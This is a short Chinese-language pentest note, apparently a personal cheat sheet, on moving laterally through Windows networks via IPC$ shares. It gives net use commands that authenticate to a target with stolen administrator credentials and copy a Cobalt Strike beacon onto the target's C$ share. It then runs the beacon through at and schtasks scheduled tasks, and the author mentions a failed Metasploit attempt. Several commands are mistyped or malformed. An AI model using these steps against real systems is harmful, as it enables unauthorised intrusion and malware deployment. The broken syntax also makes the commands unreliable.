IPC横向
IPC(Internet Process Connection)共享命名管道的资源,
是为了实现进程间通信而开放的命名管道。
IPC可以通过验证用户名和密码获得相应的权限,使用139、445端口。
利用条件
1,目标主机开启了139和445端口
2,目标主机管理员开启了ipc$默认共享:
3,知道目标机的账号密码
建立IPC连接
建立IPC连接命令:
net use \\172.16.1.132\ipc$ "password" /user:"Administrator" #工作组
net use \server\ipc$"password" /user:domain\username #域内
查看连接是否建立
net use
查看目标主机的文件
dir \\172.16.1.132\c$
查看目标主机的共享
net view 172.16.1.132
断开连接:
net use \\172.16.1.132\ipc$ /del
上传木马,任务计划执行木马上线CS
上传木马
copy beacon.exe \\172.16.132\c$
创建计划任务(at<2012、schtasks>=2012):
at \\172.16.1.132 19:00 c:\beacon.exe
schtasks 在windows版本大于等于windows2012下使用
shctasks /create /s 192.168.xx.xx /run "system" /tn adduser /scDAILY /tr c:\1.bat /F #创建adduser任务对应批处理脚本
schtasks /run /s 192.168.xx.xx /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.xx.xx /tn adduser /f #删除adduser任务
我尝试上线msf,但是不知道原因上线之后会断开连接,只能上传CS木马。